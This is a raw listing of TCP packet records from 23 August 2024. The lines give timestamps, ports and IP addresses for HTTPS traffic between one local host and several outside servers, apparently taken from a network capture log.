Aug 23, 2024 16:21:16.877798080 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.879659891 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.879712105 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.882143021 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.882211924 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.882927895 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.882987022 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.884624958 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.884679079 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.885559082 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.885620117 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.887512922 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.887577057 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.888609886 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.888675928 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.890888929 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.890964985 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.893591881 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.893659115 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.893662930 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.893719912 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.893748045 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.893764019 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.161825895 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.161860943 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.161933899 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.162220001 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.162230968 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.196719885 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:17.196751118 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:17.196832895 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:17.198761940 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:17.198771954 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:17.667115927 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.667427063 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.667465925 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.667798996 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.668102026 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.668168068 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.668262959 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.668302059 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.668338060 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.857790947 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:17.857877970 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:17.863136053 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:17.863157034 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:17.863614082 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:17.904300928 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:17.906526089 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.906579971 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.906644106 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.906665087 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.907757044 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.907802105 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.907821894 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.910259962 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.910304070 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.910324097 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.910341024 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.910387993 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.911175966 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.912123919 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.912164927 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.912173986 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.912182093 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.912235022 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.913786888 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.948496103 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:17.954308033 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.990690947 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.992644072 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.992707014 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.992731094 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.993042946 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.993092060 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.993098974 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.994606018 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.994682074 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.994688034 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.996145964 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.996208906 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.996215105 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.998778105 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.998811007 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.998826981 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:17.998833895 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:17.998869896 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.000699997 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.002105951 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.002135992 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.002159119 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.002180099 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.002224922 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.003324032 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.004734993 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.004786968 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.004806042 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.006117105 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.006148100 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.006165028 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.006181002 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.006222963 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.076926947 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.077203035 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.077265978 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.077291012 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.079422951 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.079480886 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.079487085 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.080225945 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.080276012 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.080282927 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.082914114 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.082978964 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.082988977 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.083029985 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.084738016 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.084794998 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.084805012 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.084863901 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.087544918 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.087616920 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.088937998 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.089010954 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.091624022 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.091684103 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.093736887 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.093801975 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.094923973 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.094989061 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.096851110 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.096905947 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.098764896 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.098820925 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.152543068 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.152622938 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.152671099 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.152753115 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.152771950 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.152786970 CEST	49722	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.152791977 CEST	443	49722	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.166505098 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.166577101 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.167848110 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.167898893 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.170031071 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.170077085 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.171149969 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.171209097 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.175245047 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.175296068 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.177620888 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.177676916 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.178663015 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.178709984 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.180428028 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.180475950 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.181143999 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.181202888 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.182878017 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.182925940 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.183783054 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.183830023 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.185045004 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.185103893 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.185867071 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.185914993 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.189445972 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.189488888 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.189505100 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.189522982 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.189560890 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.189584017 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.189598083 CEST	443	49721	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.189635992 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.189635992 CEST	49721	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.195893049 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.195936918 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.196008921 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.196312904 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.196326971 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.198296070 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.198338032 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.198389053 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.198734045 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.198748112 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.411183119 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.411238909 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.413248062 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.413527966 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.413542986 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.723686934 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.724035025 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.724056005 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.724389076 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.724711895 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.724783897 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.724869013 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.772507906 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.864815950 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.864888906 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.864940882 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.865499973 CEST	49724	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:18.865520000 CEST	443	49724	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:18.898746014 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.898838043 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.900320053 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.900331974 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.900644064 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.902014971 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:18.903285027 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.904460907 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.904489994 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.904844999 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.907064915 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.907174110 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.907357931 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:18.948507071 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:18.948527098 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:18.954282045 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:19.045078993 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:19.045140982 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:19.045197964 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:19.045259953 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:19.046116114 CEST	49725	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:19.046134949 CEST	443	49725	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:19.163265944 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 23, 2024 16:21:19.175163984 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:19.175235987 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:19.176234961 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:19.176314116 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:19.176331043 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:19.176346064 CEST	49723	443	192.168.2.16	184.28.90.27
Aug 23, 2024 16:21:19.176351070 CEST	443	49723	184.28.90.27	192.168.2.16
Aug 23, 2024 16:21:19.464265108 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 23, 2024 16:21:19.690459013 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:19.690509081 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:19.690608025 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:19.690824032 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:19.690843105 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:19.975665092 CEST	443	49700	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:19.975749016 CEST	443	49700	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:19.975806952 CEST	49700	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:20.066293955 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 23, 2024 16:21:20.079447031 CEST	49727	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:20.079474926 CEST	443	49727	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:20.079560995 CEST	49727	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:20.080487013 CEST	49727	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:20.080497980 CEST	443	49727	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:20.268266916 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.268583059 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.268615007 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.268964052 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.269280910 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.269349098 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.269428015 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.312498093 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.323040962 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 23, 2024 16:21:20.422492027 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.422579050 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.422653913 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.423489094 CEST	49726	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.423507929 CEST	443	49726	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.425733089 CEST	49700	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:20.425762892 CEST	443	49700	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:20.425793886 CEST	49700	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:20.425827026 CEST	49700	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:20.426064968 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:20.426105976 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:20.426172972 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:20.426429987 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:20.426440001 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:20.510510921 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.510555029 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.510654926 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.510875940 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:20.510886908 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:20.935297012 CEST	443	49727	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:20.935389996 CEST	49727	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:20.938703060 CEST	49727	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:20.938714981 CEST	443	49727	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:20.938982010 CEST	443	49727	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:20.983078957 CEST	49727	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:20.983156919 CEST	443	49727	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:20.983227968 CEST	49727	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:20.998277903 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:20.998347998 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:20.998400927 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:21.025069952 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.025460005 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.025480986 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.025820017 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.027224064 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.027317047 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.027530909 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.068504095 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.079555988 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.079859018 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.079879999 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.080208063 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.080610991 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.080673933 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.080799103 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.080883026 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.080914974 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.081051111 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.081079006 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.203027964 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.203126907 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.203171968 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.204488993 CEST	49728	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.204507113 CEST	443	49728	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.209770918 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:21.209770918 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:21.209805012 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:21.209852934 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:21.254183054 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:21.254209995 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:21.254278898 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:21.255203009 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:21.255213976 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:21.267271042 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 23, 2024 16:21:21.285491943 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:21.285510063 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:21.285578012 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:21.286813974 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:21.286828041 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:21.345184088 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.345235109 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.345287085 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.345304012 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.346178055 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.346237898 CEST	49729	443	192.168.2.16	104.18.94.41
